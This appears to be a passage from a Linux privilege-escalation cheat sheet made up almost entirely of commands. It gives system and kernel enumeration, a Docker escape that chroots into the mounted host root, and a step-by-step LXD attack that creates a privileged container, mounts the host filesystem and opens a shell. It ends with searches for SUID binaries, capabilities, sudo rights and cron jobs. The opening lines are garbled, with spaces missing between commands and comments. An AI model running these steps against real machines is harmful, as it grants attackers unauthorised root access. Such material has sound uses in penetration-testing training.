Obtain information about the system architecture, distribution, and kernel version.
uname-a# System informationlsb_release-a# Distribution informationgetconfLONG_BIT# System architecturecat/proc/version# Kernel versioncat/etc/os-release# OS details
Path
Check if you have write permissions for any directory in the PATH.
docker run -it --rm -v /:/mnt alpine chroot /mnt sh
# On your machine, download and build an alpine image and transfer it to the host
git clone https://github.com/saghul/lxd-alpine-builder && cd lxd-alpine-builder && sudo ./build-alpine
# Import the image
lxc image import ./alpine.tar.gz --alias privimg
# Initialize
lxd init
# Create the containter
lxc init privimg privcont -c security.privileged=true
# Mount the filesystem
lxc config device add privcont privdev disk source=/ path=/mnt/root recursive=true
# Start the container
lxc start privcont
# Interactive shell
lxc exec privcont /bin/sh
sudo -l
getcap -r / 2>/dev/null
find / -type f -perm -4000 -ls 2>/dev/null
ss -nltp
netstat -punta
crontab -l
find / -name "cron*" 2>/dev/null
ls -l /var/log/syslog
ls -l /var/log/cron